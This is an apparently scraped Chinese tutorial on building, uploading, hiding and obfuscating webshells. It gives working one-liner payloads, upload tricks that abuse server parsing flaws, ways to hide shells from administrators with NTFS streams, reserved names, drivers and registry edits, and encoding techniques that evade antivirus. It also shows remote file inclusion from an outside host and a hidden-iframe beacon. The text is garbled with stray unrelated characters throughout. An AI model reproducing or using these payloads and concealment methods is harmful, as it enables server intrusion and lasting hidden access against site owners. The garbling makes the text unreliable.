(源自摘抄整理)
https://www.91ri.org/11494.html
Webshell實(shí)現(xiàn)與隱藏探究
一椎眯、什么是webshell
webshell簡(jiǎn)介
webshell,顧名思義:web指的是在web服務(wù)器上,而shell是用腳本語(yǔ)言編寫(xiě)的腳本程序至扰,webshell就是就是web的一個(gè)管理工具汹胃,可以對(duì)web服務(wù)器進(jìn)行操作的權(quán)限勋陪,也叫webadmin揩瞪。webshell一般是被網(wǎng)站管理員用于網(wǎng)站管理、服務(wù)器管理等等一些用途祈噪,但是由于webshell的功能比較強(qiáng)大泽铛,可以上傳下載文件,查看數(shù)據(jù)庫(kù)辑鲤,甚至可以調(diào)用一些服務(wù)器上系統(tǒng)的相關(guān)命令(比如創(chuàng)建用戶盔腔,修改刪除文件之類的),通常被黑客利用月褥,黑客通過(guò)一些上傳方式弛随,將自己編寫(xiě)的webshell上傳到web服務(wù)器的頁(yè)面的目錄下,然后通過(guò)頁(yè)面訪問(wèn)的形式進(jìn)行入侵宁赤,或者通過(guò)插入一句話連接本地的一些相關(guān)工具直接對(duì)服務(wù)器進(jìn)行入侵操作舀透。
webshell的分類
webshell根據(jù)腳本可以分為PHP腳本木馬,ASP腳本木馬决左,也有基于.NET的腳本木馬和JSP腳本木馬愕够。在國(guó)外,還有用python腳本語(yǔ)言寫(xiě)的動(dòng)態(tài)網(wǎng)頁(yè)佛猛,當(dāng)然也有與之相關(guān)的webshell惑芭。
根據(jù)功能也分為大馬與小馬,小馬通常指的一句話木馬继找,例如:<%eval request(“pass”)%>通常把這句話寫(xiě)入一個(gè)文檔里面遂跟,然后文件名改成xx.asp。然后傳到服務(wù)器上面婴渡。這里eval方法將request(“pass”)轉(zhuǎn)換成代碼執(zhí)行幻锁,request函數(shù)的作用是應(yīng)用外部文件。這相當(dāng)于一句話木馬的客戶端配置边臼。服務(wù)器配置(即本機(jī)配置):
<form action=http://主機(jī)路徑/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流對(duì)象
lP.Open //打開(kāi)
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字體標(biāo)準(zhǔn)
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內(nèi)容以覆蓋文件的方式寫(xiě)入newmm.asp哄尔,2就是已覆 蓋的方式
lP.Close //關(guān)閉對(duì)象
set lP=nothing //釋放對(duì)象
response.redirect "newmm.asp" //轉(zhuǎn)向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內(nèi)容)
</textarea>
<BR>
<center>
<input type=submit value=提交>
這里通過(guò)提交表單的方式,將木馬提交上去柠并,具體的做法是將定義一個(gè)對(duì)象IP究飞,然后以文本方式寫(xiě)入newvalue里面的內(nèi)容(newvalue的內(nèi)容在textarea定義)置谦,寫(xiě)入以覆蓋的方式產(chǎn)生ASP文件堂鲤,然后執(zhí)行這個(gè)腳本亿傅。其中客戶端中的value代表的是表單的名字,必須跟服務(wù)端(本機(jī))的post提交中的表單名一樣瘟栖,所以這里的value可以為任意字符葵擎,相當(dāng)于一個(gè)密碼之類的東西,但是這個(gè)‘密碼’是明文的半哟,可以截取下來(lái)酬滤。PHP的一句話原理跟以上的原理差不多,就是語(yǔ)言的差別導(dǎo)致語(yǔ)法不同寓涨。這就是小馬的基本工作原理盯串。
大馬的工作模式簡(jiǎn)單的多,他沒(méi)有客戶端與服務(wù)端的區(qū)別戒良,就是一些腳本大牛直接把一句話木馬的服務(wù)端整合到了一起体捏,通過(guò)上傳漏洞將大馬上傳,然后復(fù)制該大馬的url地址直接訪問(wèn)糯崎,在頁(yè)面上執(zhí)行對(duì)web服務(wù)器的滲透工作几缭。但是有些網(wǎng)站對(duì)上傳文件做了嚴(yán)格的限制,因?yàn)榇篑R的功能較多沃呢,所以體積相對(duì)較大年栓,很有可能超出了網(wǎng)站上傳限制,但是小馬的體積可以控制(比如把代碼復(fù)制很多遍薄霜,或者在一個(gè)亂碼文件中夾入代碼)某抓,但是小馬操作起來(lái)比較繁瑣,可以先上傳小馬拿到webshell惰瓜,然后通過(guò)小馬的連接上傳大馬拿到服務(wù)器否副。
二、如何上傳webshell
1.解析漏洞上傳
現(xiàn)在對(duì)于不同的web服務(wù)器系統(tǒng)對(duì)應(yīng)的有不同的web服務(wù)端程序鸵熟,windows端主流的有iis副编,linux端主流的有nginx。這些服務(wù)對(duì)搭建web服務(wù)器提供了很大的幫助流强,同樣也對(duì)服務(wù)器帶來(lái)隱患痹届,這些服務(wù)器上都存在一些漏洞,很容易被黑客利用打月。
(1)iis目錄解析漏洞
比如:/xx.asp/xx.jpg
雖然上傳的是JPG文件队腐,但是如果該文件在xx.asp文件夾下,那個(gè)iis會(huì)把這個(gè)圖片文件當(dāng)成xx.asp解析奏篙,這個(gè)漏洞存在于iis5.x/6.0版本柴淘。
(2)文件解析漏洞
比如:xx.asp;.jpg迫淹。在網(wǎng)頁(yè)上傳的時(shí)候識(shí)別的是jpg文件,但是上傳之后iis不會(huì)解析;之后的字符为严,同樣會(huì)把該文件解析成asp文件敛熬,這個(gè)漏洞存在于iis5.x/6.0版本。
(3)文件名解析
比如:xx.cer/xx.cdx/xx.asa第股。在iis6.0下应民,cer文件,cdx文件夕吻,asa文件都會(huì)被當(dāng)成可執(zhí)行文件诲锹,里面的asp代碼也同樣會(huì)執(zhí)行。(其中asa文件是asp特有的配置文件涉馅,cer為證書(shū)文件)归园。
(4)fast-CGI解析漏洞
在web服務(wù)器開(kāi)啟fast-CGI的時(shí)候,上傳圖片xx.jpg稚矿。內(nèi)容為:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
這里使用的fput創(chuàng)建一個(gè)shell.php文件庸诱,并寫(xiě)入一句話。訪問(wèn)路徑xx.jpg/.php盐捷,就會(huì)在該路徑下生成一個(gè)一句話木馬shell.php偶翅。這個(gè)漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在碉渡。語(yǔ)言環(huán)境:PHP聚谁,prel,Bourne Shell滞诺,C等語(yǔ)言形导。
*注:fast-CGI是CGI的升級(jí)版,CGI指的是在服務(wù)器上提供人機(jī)交互的接口习霹,fast-CGI是一種常駐型的CGI朵耕。因?yàn)镃GI每次執(zhí)行時(shí)候,都需要用fork啟用一個(gè)進(jìn)程淋叶,但是fast-CGI屬于激活后就一直執(zhí)行阎曹,不需要每次請(qǐng)求都fork一個(gè)進(jìn)程。比普通的CGI占的內(nèi)存少煞檩。
(5)apache解析漏洞
apache解析的方式是從右向左解析处嫌,如果不能解析成功,就會(huì)想左移動(dòng)一個(gè)斟湃,但是后臺(tái)上傳通常是看上傳文件的最右的一個(gè)后綴熏迹,所以根據(jù)這個(gè),可以將馬命名為xx.php.rar凝赛,因?yàn)閍pache解析不了rar注暗,所以將其解析為php坛缕,但是后臺(tái)上傳點(diǎn)就將其解析為rar,這樣就繞過(guò)了上傳文件后綴限制
2.截?cái)嗌蟼?br>
在上傳圖片的時(shí)候捆昏,比如命名1.asp .jpg(asp后面有個(gè)空格)赚楚,在上傳的時(shí)候,用NC或者burpsuite抓到表單屡立,將上傳名asp后面加上%00(在burpsuite里面可以直接編輯HEX值直晨,空格的HEX值為20,將20改為00)膨俐,如果HEX為00的時(shí)候表示截?cái)啵?0表示空格,如果表示截?cái)嗟臅r(shí)候就為無(wú)視腳本中的JPG驗(yàn)證語(yǔ)句罩句,直接上傳ASP焚刺。
3.后臺(tái)數(shù)據(jù)庫(kù)備份
在一些企業(yè)的后臺(tái)管理系統(tǒng)中,里面有一項(xiàng)功能是備份數(shù)據(jù)庫(kù)(比如南方cms里面就有備份數(shù)據(jù)庫(kù)的功能)门烂∪橛洌可以上傳一張圖片,圖片里面含有一句話木馬屯远,或者將大馬改成jpg格式蔓姚,然后用數(shù)據(jù)庫(kù)備份功能,將這張圖片備份為asp等其他內(nèi)容可以被解析為腳本語(yǔ)句的格式慨丐,然后再通過(guò)web訪問(wèn)就可以執(zhí)行木馬了坡脐,但是這種方法很老了,現(xiàn)在大多數(shù)的cms已經(jīng)把這種備份的功能取消了房揭,或者禁用了备闲。
4.利用數(shù)據(jù)庫(kù)語(yǔ)句上傳
(1) mysql數(shù)據(jù)庫(kù)into outfile
這種方式的前提必須是該網(wǎng)站有相應(yīng)的注入點(diǎn),而且當(dāng)前用戶必須要有上傳的權(quán)限捅暴,而且必須有當(dāng)前網(wǎng)頁(yè)在服務(wù)器下的絕對(duì)路徑恬砂。方法是用聯(lián)合查詢,將一句話木馬導(dǎo)入到網(wǎng)站下邊的一個(gè)php文件中去蓬痒,然后使用服務(wù)端連接該網(wǎng)站泻骤。但是上述方法條件過(guò)于苛刻,一般遇到的情況很少梧奢。
(2)建立新表寫(xiě)入木馬
一些開(kāi)源cms或者自制的webshell會(huì)有數(shù)據(jù)庫(kù)管理功能狱掂,在數(shù)據(jù)庫(kù)管理功能里面有sql查詢功能,先使用create table shell(codetext);創(chuàng)建一個(gè)名字叫做shell的表粹断,表里面有列明叫做code符欠,類型為text。然后使用insert into shell(code) values(‘一句話?cǎi)R’)瓶埋,這里講shell表中的code列賦值為一句話的馬希柿,然后通過(guò)自定義備份诊沪,將該表備份為x.php;x然后就被解析成為php然后執(zhí)行了,這里不是x.php;x就一定能夠解析為php曾撤,不同的web服務(wù)器上面的服務(wù)程序不同端姚,然后過(guò)濾規(guī)則也不同,可能會(huì)使用其他的方式挤悉。
(3)phpMyadmin設(shè)置錯(cuò)誤
phpMyadmin用來(lái)管理網(wǎng)站數(shù)據(jù)庫(kù)的一個(gè)工具渐裸,其中config.inc.php為其配置文件,在查看的該文件的時(shí)候装悲,如果$cfg[‘Servers’][$i][‘a(chǎn)uth_type’]參數(shù)的值設(shè)置沒(méi)有設(shè)置(默認(rèn)為config)說(shuō)明在登陸數(shù)據(jù)庫(kù)的時(shí)候沒(méi)有做相應(yīng)的驗(yàn)證昏鹃,可以直接連入數(shù)據(jù)庫(kù),而且在Mysql在一些版本下面默認(rèn)登陸都是以root用戶進(jìn)行登陸(即管理員)诀诊,所以登陸進(jìn)去為最大權(quán)限洞渤。但是root一般只能本地登陸,所以必須創(chuàng)建一個(gè)遠(yuǎn)程登陸用戶属瓣。用遠(yuǎn)程登陸用戶登陸之后载迄,創(chuàng)建一個(gè)表,然后再將一句話木馬寫(xiě)入抡蛙。
三护昧、webshell的“安全”
1.關(guān)于webshell的隱藏
在上傳webshell的時(shí)候必須要進(jìn)行webshell的隱藏工作。隱藏webshell粗截,第一個(gè)目的是不讓網(wǎng)站管理員發(fā)現(xiàn)馬將其刪掉惋耙,第二個(gè)目的是為了不被其他的Hacker發(fā)現(xiàn)了這個(gè)文件并加以利用。
(1)大馬的隱藏
①不死僵尸
windows系統(tǒng)存在系統(tǒng)保留文件夾名慈格,windows不允許用這些名字來(lái)命名文件夾保留文件夾:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt怠晴。但是這些可以使用windows的copy命令創(chuàng)建,比如:
c:>copy 3.asp \.\C:\aux.asp
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg
在c盤(pán)中創(chuàng)建一個(gè)aux.asp浴捆。這個(gè)文件無(wú)法在圖像界面下刪除蒜田。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png
要?jiǎng)h除必須使用del命令。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png
刪除了之后是沒(méi)有提示的选泻,但是文件確實(shí)沒(méi)有了冲粤。
當(dāng)然用這樣的方法雖然可以創(chuàng)建一個(gè)圖形界面無(wú)法刪除的webshell,但是如果直接放在網(wǎng)頁(yè)根目錄下页眯,被有經(jīng)驗(yàn)的網(wǎng)管看到還是回刪除的贵涵。
②clsid隱藏
windows每一個(gè)程序都有一個(gè)clsid靶壮,如果將一個(gè)文件夾命名為x.{程序clsid}建车,然后輸入一下兩條命令:
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg
創(chuàng)建后
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png
點(diǎn)開(kāi)進(jìn)入的是控制面板丹喻,但是其實(shí)該文件還是文件夾,里面還存在大馬碌奉,而且創(chuàng)建一個(gè)這樣一個(gè)帶有clsid的文件夾將其命名為相應(yīng)的程序可以迷惑網(wǎng)絡(luò)管理員的實(shí)現(xiàn)短曾,比如進(jìn)入回收站文件夾中創(chuàng)建這樣一個(gè)帶有回收站clsid的文件夾寒砖,在里面里面再copy一個(gè)保留字asp,還可以使用
attrib +h +s +r +d/s /d
修改該文件的屬性嫉拐,將其隱藏哩都,一般windows都是默認(rèn)不顯示隱藏文件的,而且回收站文件夾是自動(dòng)創(chuàng)建的婉徘,這樣可以達(dá)到隱藏一個(gè)不死webshell到服務(wù)器中去漠嵌。
③驅(qū)動(dòng)隱藏技術(shù)
原理是在于,在windows文件系統(tǒng)中盖呼,打開(kāi)文件夾的時(shí)候系統(tǒng)會(huì)發(fā)送一個(gè)IRP_MJ_DIRECTORY_CONTROL函數(shù)儒鹿,這個(gè)函數(shù)可以分配一個(gè)緩沖區(qū),將該文件夾下的子文件夾遍歷處理得到的信息存放至緩沖區(qū)塌计,在遍歷的時(shí)候挺身,尋找匹配的文件名,如果文件名匹配锌仅,就繞過(guò)當(dāng)前文件夾或者文件,對(duì)于繞過(guò)的原理墙贱,我查詢了下代碼热芹,根據(jù)我的理解,它是根據(jù)將遍歷的指針在查詢到目標(biāo)文件的時(shí)候惨撇,加上該文件的偏移量伊脓,不掃描目標(biāo)文件夾,直接跳過(guò)魁衙。
對(duì)于這種技術(shù)的實(shí)施报腔,雖然網(wǎng)上很多C的源碼,但是操作起來(lái)有一定的困難剖淀,因?yàn)轭^文件的支持纯蛾,還有系統(tǒng)的支持(不同系統(tǒng)的文件系統(tǒng)會(huì)不同),在網(wǎng)上查找到了Easy File Locker程序纵隔,需要將其安裝至web服務(wù)器上翻诉,對(duì)目標(biāo)文件設(shè)置權(quán)限。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png
權(quán)限的設(shè)置有可讀accessable捌刮,可寫(xiě)writable碰煌,可刪deletable,可見(jiàn)visible绅作。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg
上圖可以看到我們將其隱藏了芦圾,如前文所說(shuō),因?yàn)橹苯永@過(guò)了遍歷俄认,那么訪問(wèn)絕對(duì)路徑卻可以訪問(wèn)个少。我的理解是:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
這4個(gè)文件代替了遍歷查詢,要訪問(wèn)隱藏后的文件稍算,輸入絕對(duì)路徑并不是應(yīng)用絕對(duì)路徑查詢典尾,而是通過(guò)上面4個(gè)文件進(jìn)行的查詢,相當(dāng)于給隱藏文件做了一個(gè)單獨(dú)的驅(qū)動(dòng)糊探。
為了不被管理員發(fā)現(xiàn)钾埂,可以將Easy FileLocker的程序刪除,但是不能刪除上述4個(gè)文件科平。刪除程序后褥紫,輸入絕對(duì)路徑還是可以訪問(wèn),就達(dá)到了隱藏后門(mén)的作用
④注冊(cè)表隱藏
注冊(cè)表路徑:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
在這個(gè)路徑下有一個(gè)CheckedValue的鍵值瞪慧,把他修改為0髓考,如果沒(méi)有CheckValue這個(gè)key直接創(chuàng)建一個(gè),將他賦值為0弃酌,然后創(chuàng)建的隱藏文件就徹底隱藏了氨菇,即時(shí)在文件夾選項(xiàng)下把“顯示所有文件”也不能顯示了。
(2)一句話木馬的隱藏
①頭文件包含隱藏
在web里面的一些腳本文件中妓湘,有些文件里面有包含語(yǔ)句查蓉,可以利用這種包含方法包含一句話文件榜贴,在訪問(wèn)這個(gè)頁(yè)面會(huì)直接調(diào)用這些一句話豌研。
asp包含語(yǔ)句:<!–#includefile=”文件路徑”–>,直接填入路徑霜浴,文件路徑是web服務(wù)器上的路徑驻龟。
可以使用站長(zhǎng)住手將一句話的NTFS流小馬寫(xiě)入圖片里面,將路徑的‘\’改‘:’寫(xiě)入之后圖片是顯示不了的拧咳,然后找到web服務(wù)器上的一個(gè)asp文件伯顶,在文件的開(kāi)始部分寫(xiě)上include語(yǔ)句,
<!–#includefile=”inc:1.jpg”–>骆膝。文件包含可以解析NTFS流為asp祭衩,包含之后,我們?cè)L問(wèn)那個(gè)asp文件就包含了一句話阅签,這樣就隱藏了一句話汪厨。
php包含語(yǔ)句:
<?php include($include);?>
這里的$include可以是外部路徑比如:
http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
這個(gè)aaa上的1.php內(nèi)容為
<?php include($include);?>
,表示包含愉择。bbb是外部服務(wù)器的,前提是這個(gè)服務(wù)器不能支持PHP织中。否則將會(huì)在bbb這個(gè)服務(wù)器上執(zhí)行hehe.php(即一句話?cǎi)R)锥涕,而aaa不執(zhí)行。
②配置文件隱藏一句話(PHP)
在拿到PHP的webshell之后狭吼,可以利用php.ini隱藏文件层坠,編輯配置文件,其中一個(gè)項(xiàng)功能是將某一個(gè)文件的內(nèi)容添加到任意界面的頁(yè)眉頁(yè)腳:
auto_prepend_file =hehe.php
然后看
include_path = “E:\PHPnow-1.5.6\htdocs;”
這個(gè)配置信息表示加載頁(yè)眉頁(yè)腳的文集位置刁笙,path規(guī)則是”\path1;\path2″破花,表示將path1路徑的文件夾下的頁(yè)眉頁(yè)腳文件添加到path中的文件中去,因?yàn)檫@里是一個(gè)‘.’表示根路徑疲吸,這里就相當(dāng)于添加到了主頁(yè)上面去了座每,然后hehe.asp文件里面寫(xiě)上一句話,就可以通過(guò)php添加頁(yè)眉的共能摘悴,將一句話寫(xiě)入網(wǎng)站首頁(yè)峭梳。
③404小馬
404小馬在訪問(wèn)的時(shí)候顯示出來(lái)一個(gè)404頁(yè)面不存在的頁(yè)面,但是實(shí)際上木馬代碼已經(jīng)執(zhí)行蹂喻,一般都是按5次shift可以將它調(diào)用出來(lái)葱椭。
四捂寿、關(guān)于webshell的免殺一句話免殺
1.構(gòu)造法繞過(guò)檢測(cè)(PHP)
一般的檢測(cè)程序會(huì)過(guò)濾這樣”_POST”,”system”,”call_user_func_array”這樣的字符,這個(gè)時(shí)候可以用構(gòu)造法繞過(guò)一些檢測(cè)程序孵运,基本原理是秦陋,php每一個(gè)字符都都對(duì)應(yīng)了一個(gè)二進(jìn)制的值,可以采用異或的方式治笨,讓馬中的一個(gè)字符用兩個(gè)字符異或后的值來(lái)代替驳概。
比如像一下代碼
<?php
@$++; // 這里++讓’’自加1
$=("#"^"|"); // _
$=("."^"~"); // P
$=("/"^"`"); // O
$=("|"^"/"); // S
$__=("{"^"/"); // T
?>
然后構(gòu)造與一句話可以寫(xiě)為
<?php @$++;
$=("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值為POST
@${$}!$_;?>
// 結(jié)果為
@$_POST0
!$_表示1的相反,在語(yǔ)言里面1代表真大磺,反過(guò)來(lái)就是0(假)
但是這樣的繞過(guò)方法相當(dāng)弱抡句,仔細(xì)想一下,就算是兩個(gè)字符的二進(jìn)制值異或杠愧,但是我們要用某個(gè)字符待榔,還是應(yīng)用那個(gè)字符的值,比如
$__=("#""|").(".""~").("/""`").("|""/").("{"^"/")
的二進(jìn)制值與_POST字符的值一樣的流济,要是檢測(cè)程序會(huì)檢測(cè)二進(jìn)制碼的值锐锣,還是會(huì)被殺掉。
2.正則表達(dá)式代替法(PHP)
php中有一個(gè)函數(shù)preg_replace()函數(shù)绳瘟,這個(gè)函數(shù)可以實(shí)現(xiàn)正則表達(dá)式的替換工作雕憔。用替換繞過(guò)檢測(cè)系統(tǒng)還需要php腳本語(yǔ)言里面的一個(gè)函數(shù)特性,函數(shù)在調(diào)用的時(shí)候糖声,如果函數(shù)里面的形參賦的值里面含有命令斤彼,就會(huì)執(zhí)行這個(gè)命令。
<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)</title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
上述代碼就是替代的一個(gè)過(guò)程蘸泻,首先創(chuàng)建一個(gè)空函數(shù)琉苇,然后使用preg_replace函數(shù)替換表單cmd中的<title></title>(這里是html里面表示主題)為funfunc,將post表單中的值寫(xiě)成
<title>{${phpinfo()}}</title>
(當(dāng)然這里的phpinfo()可以換成其他的命令)悦施,通過(guò)置換并扇,就會(huì)變成
funfunc({${phpinfo()}})
由于${}可以解析{}中的內(nèi)容,所以這里的phpinfo就可以順利執(zhí)行了抡诞。
3.即時(shí)生成法(PHP)
在使用頭文件包含的時(shí)候穷蛹,所包含頭文件php很容易被掃描器掃描到,這時(shí)候可以使用file_put_content創(chuàng)建一個(gè)文件昼汗,里面寫(xiě)如php的一句話?cǎi)R肴熏。在訪問(wèn)之前先生成馬,但是這個(gè)函數(shù)比較敏感乔遮,很容易被殺扮超。
4.回避法(asp)
因?yàn)橛械腶sp服務(wù)器為了防止一句話?cǎi)R,會(huì)過(guò)濾<%,%>,可以使用:
<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
功能相同出刷,就是換個(gè)形式璧疗。
回避特定腳本語(yǔ)言:aspx一句話
<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
這里使用C#語(yǔ)言寫(xiě)一句話?cǎi)R。
5.拆分法(asp)
將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>馁龟,雖然繞過(guò)的可能性很小崩侠,但是也是一種繞過(guò)手法,也許有的服務(wù)器坷檩,做了很多高大上的掃描方式却音,但是遺漏小的問(wèn)題。
還有拆分法加強(qiáng)版:
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
以上兩句使用了if一句將其分開(kāi)矢炼,中心思想將敏感字符拆分系瓢,因?yàn)橐话鉧sp特征碼為eval(request或者execute(request,拆分了之后檢測(cè)不到特征碼句灌,就直接繞過(guò)了夷陋。
6.亂碼變形(ANSI->Unicode加密)
<%eval request("#")%>變形為“┼攠數(shù)畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
上面一行代碼是采用了ascii加密的方法,chr(114)代表的是ascii中的編號(hào)為114個(gè)那個(gè)字符胰锌,即r骗绕。上述代碼轉(zhuǎn)換后的代碼為
<%eval (eval(request("brute"))%>
7.大馬免殺
(1)base4code編碼
大馬的免殺可以通過(guò)將大馬的代碼進(jìn)行壓縮,壓縮之后在進(jìn)行base4的加密算法资昧,然后在大馬的末尾添加
@eval(gzinflate(base64_decode($code)));
就可以執(zhí)行腳本了酬土。其中,$code變量是用來(lái)存放base4的code碼格带,執(zhí)行的時(shí)候先gzinflate解壓撤缴,在eval執(zhí)行。其實(shí)這種不能真正意義上的免殺叽唱,以為base4code和eval還是回被列入特征碼行列腹泌,在過(guò)掃描器的時(shí)候同樣會(huì)被殺掉。
(2)ROT13編碼(php)
str_rot13是php用來(lái)編碼的一個(gè)函數(shù)尔觉。可以利用它來(lái)編碼腳本代碼來(lái)繞過(guò)特征碼的檢測(cè)芥吟,比如侦铜。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png
圖中的strrev函數(shù)是用來(lái)反轉(zhuǎn)字符,為了逃過(guò)特征碼的檢測(cè)钟鸵,還特地將字符用’.’號(hào)隔開(kāi)钉稍。
圖中3個(gè)str_rot13所加密的字符依次是gzinflate,str_rot13棺耍,base64_decode贡未,相當(dāng)于三重加密,而且也回避了gzinflate,base64_decode這兩個(gè)特征碼俊卤。但是沒(méi)有回避str_rot13嫩挤。有可能有的殺軟會(huì)將str_rot13也作為特征碼。
ROT13成為回轉(zhuǎn)13消恍,就是講當(dāng)前字符在字母表中的位置值減去13對(duì)應(yīng)的字符加密岂昭。加密兩次就回到原來(lái)的值了。但是由于算法固定狠怨,加密的強(qiáng)度也不強(qiáng)约啊。而且破解的方式極為簡(jiǎn)單,只要再加密一邊就可以了佣赖。
(3)其他編碼
一般殺軟和掃描器都會(huì)用特征碼來(lái)判斷是否有病毒恰矩,在對(duì)大馬或者小馬,一句話?cǎi)R做免殺處理的時(shí)候憎蛤,一般都會(huì)用php或者asp腳本中加密類的函數(shù)來(lái)加密繞過(guò)掃描器(比如base4外傅,rot13等),但是我覺(jué)得可以自己編寫(xiě)加密算法蹂午,然后使用自己編寫(xiě)的加密算法加密腳本代碼就可以繞過(guò)一些特征碼的栏豺。可以使用一些凱撒密碼豆胸,移位加密等加密手段的思想奥洼,寫(xiě)一段加密算法,然后將腳本代碼進(jìn)行加密晚胡,然后base4灵奖,rot3這樣的特征碼就會(huì)消失,或者可以不那么麻煩估盘,直接用自制的加密算法加密特征碼瓷患,然后再使用的時(shí)候?qū)⑵浣饷芫托辛恕?br>
還可以使用DES,RSA這樣的密鑰加密算法也可以遣妥,一般的大馬都會(huì)有一個(gè)密碼的登陸框擅编,可以講登陸腳本的密碼跟解密密鑰聯(lián)動(dòng)起來(lái),輸入正確的密碼后才能夠解析箫踩,一方面是為了逃過(guò)掃描器與殺軟的查殺爱态,另一方便,這個(gè)大馬即使被別人拿到了境钟,也無(wú)法解密锦担,看到其中的源碼。
五慨削、關(guān)于webshell的后門(mén)
一般網(wǎng)上下載的大馬或多或少的都會(huì)有后門(mén)洞渔,這些后門(mén)直接導(dǎo)致了我們拿的網(wǎng)站被別人順帶拿走了套媚,所以在網(wǎng)上下載的大馬必須先檢查有沒(méi)有后門(mén)。
比如這里的萬(wàn)能密碼:
end function
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else
這里
request.form("pass")=userpass
原本是為了將pass的值進(jìn)行驗(yàn)證磁椒,如果輸入的pass值等于userpass的情況堤瘤,就代表驗(yàn)證成功,但是后面
orrequest.from(“pass”)=”1111111”
表示如果輸入的pass值為1111111衷快,也可以登錄大馬宙橱。當(dāng)然,這個(gè)地方不可能會(huì)這么簡(jiǎn)單蘸拔,原作者完全可以把userpass賦值成為兩個(gè)师郑,添加一個(gè)userpass改變的觸發(fā)條件,在他登錄的時(shí)候觸發(fā)這個(gè)條件(比如說(shuō)如果登錄失敗的時(shí)候?qū)⒂|發(fā)userpass值的更新)调窍,這樣就可以添加一個(gè)后面宝冕,而且觸發(fā)條件的代碼與驗(yàn)證代碼分隔的較遠(yuǎn),也不好查找邓萨,這個(gè)時(shí)候就需要我們把大馬的代碼逐行分析地梨。
然后再用框架掛馬:
<iframe src=后門(mén)地址 width=0 height=0></iframe>
這個(gè)地方將鏈接的地址寬度和高度全設(shè)置為0,就該頁(yè)面就隱藏了缔恳。里面的“后門(mén)地址”指向自己的腳本收信器宝剖,最后將收信腳本放到自己搭建的一個(gè)公網(wǎng)服務(wù)器上面,收信腳本如下:
<%url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
file.writeline url
file.close
set file=nothing
set fs=nothing
%>
其中
url=Request.ServerVariables("HTTP_Referer")
表示請(qǐng)求的字符轉(zhuǎn)內(nèi)容歉甚,即大馬的url地址万细,然后把url地址保存到當(dāng)前目錄的hehe.txt。
要提出這種后門(mén)首先必須先要破壞大馬第二種密碼驗(yàn)證纸泄,即萬(wàn)能密碼赖钞。刪除相關(guān)的功能代碼,然后再查找有沒(méi)有asp大馬頁(yè)面有沒(méi)有例如width=0 height=0這樣的隱藏url聘裁,查找出來(lái)將其刪除雪营。
接單之隱藏一句話木馬
一般 我們拿到的shell很容易被發(fā)現(xiàn) 或者被刪除現(xiàn)在教你們 如何隱藏這是利用NTFS流隱藏你的一句話小馬,這方法衡便,文件寫(xiě)入后献起,不容易給發(fā)現(xiàn),隱藏性好镣陕! 如下是ASP腳本的例子征唬!NTFS流文件的內(nèi)容如下 (NTFS流文件 是什么自己百度科普 還有這個(gè)只適用于win系統(tǒng)服務(wù)器)
<%
re= request("test")
if re <>"" then
execute re
response.end ‘表示結(jié)束,不再處理別的代碼
end if
%>
把內(nèi)容寫(xiě)入如下位置(示例位置)H:\Web\動(dòng)易\Inc:1.jpg
看清楚茁彭,是 :1.jpg 不是 \1.jpg文件寫(xiě)入后,H:\Web\動(dòng)易\Inc 目錄里是看不到文件的扶歪!
現(xiàn)在要引導(dǎo)這個(gè)一句話文件理肺!格式:<!-#include file="目錄:1.jpg"->
我隨便選一個(gè)文件(最好不要自己新建文件摄闸,別人容易發(fā)現(xiàn)有新文件)H:\Web\動(dòng)易\Announce.asp
添加
<!-#include file="inc:1.jpg"->
修改后保存!
一句話木馬隱藏基本完成妹萨!當(dāng)然 H:\Web\動(dòng)易\Announce.asp 你可以改個(gè)一下修改的時(shí)間年枕,這樣別人就不容易發(fā)現(xiàn)有問(wèn)題!
